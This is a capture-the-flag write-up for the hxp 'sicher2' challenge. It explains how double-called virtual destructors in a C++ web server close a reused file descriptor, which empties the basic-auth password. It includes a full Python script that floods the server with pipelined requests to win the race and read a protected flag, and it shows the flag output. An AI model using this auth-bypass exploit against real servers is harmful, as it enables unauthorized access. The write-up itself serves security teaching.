Tags: web pwn 

Rating: 5.0

This challenge was a simple
(multi-threaded)
C++ web server ([source](https://hxp.io/assets/data/posts/69-sicher2/sicher2.cpp.txt))
featuring HTTP basic authentication for files in the `/secret/`
directory, which includes [`flag.html`](https://hxp.io/assets/data/posts/69-sicher2/flag.html).
Solvers had to circumvent the password check
(or figure out a way to get code execution
that I haven't discovered yet `:-)`).

At first glance, the server uses mostly modern C++ APIs
and there are no blatant security holes. The `b64decode()`
function perhaps looked a bit fishy, but does not contain
any (intentional `:-)`) vulnerabilities.

However, there is a subtle bug in the implementation of
the `opener` and `reader` classes: The destructor is
`virtual` in `opener` [and `reader`](https://stackoverflow.com/a/677649),
which means that [both destructors are called](https://stackoverflow.com/a/677623)
and therefore the `close()` is executed twice — so if
*between* the first and second `close()`, another
file is opened and assigned the same file descriptor,
it will erroneously be closed, which can be fatal:
Closing the `password.txt` file containing the
authentication credentials for the `/secret/` directory
*before* the password can be read by `reader::get()`
leads to an empty password!
At this point, the exploit strategy is remarkably simple:
Keep hammering the server with
a request for `/secret/flag.txt`
using the username `root`
and an empty password,
until one of the parallel executions
closes another's `password.txt`
file descriptor before the password is read.
At this point, the empty password is considered
correct and the `flag.html` file
is returned to the client.

Here's a slightly dirty Python script that performs this exploit:

```python
#!/usr/bin/env python3
import sys, socket, queue
from multiprocessing import Process, Queue

count = 5000
req = b'''GET / HTTP/1.1

GET /secret/flag.html HTTP/1.1
Authorization: Basic cm9vdDo=

'''

q = Queue()

def pwn():

for _ in range(3):

sock = socket.socket()
sock.settimeout(2)
sock.connect((sys.argv[1], int(sys.argv[2])))
for _ in range(count):
try:
sock.sendall(req)
except:
pass

s = b''
while s.count(b'HTTP/1.1') < count:

try:
tmp = sock.recv(0x100)
except socket.timeout:
tmp = b''
except Exception:
pass

if not tmp:
break
s += tmp

while b'\n' in s:
n = s.index(b'\n')
if 'hxp{' in s[:n].decode():
q.put(s[:n].decode())
return

s = s[n+1:]

if 'hxp{' in s.decode():
q.put(s.decode())
return

sock.close()

for _ in range(1000):
print('.', flush=True, end='', file=sys.stderr)
procs = []
for _ in range(4):
proc = Process(target=pwn, args=())
procs.append(proc)
proc.start()

for proc in procs:
proc.join()

try:
print(q.get_nowait())
sys.exit(0)
except queue.Empty:
pass

sys.exit(1)
```

After a few attempts, this gives the flag:

```
....... <marquee>hxp{s0rrY_w3_4Re_cL0s3D}</marquee>
```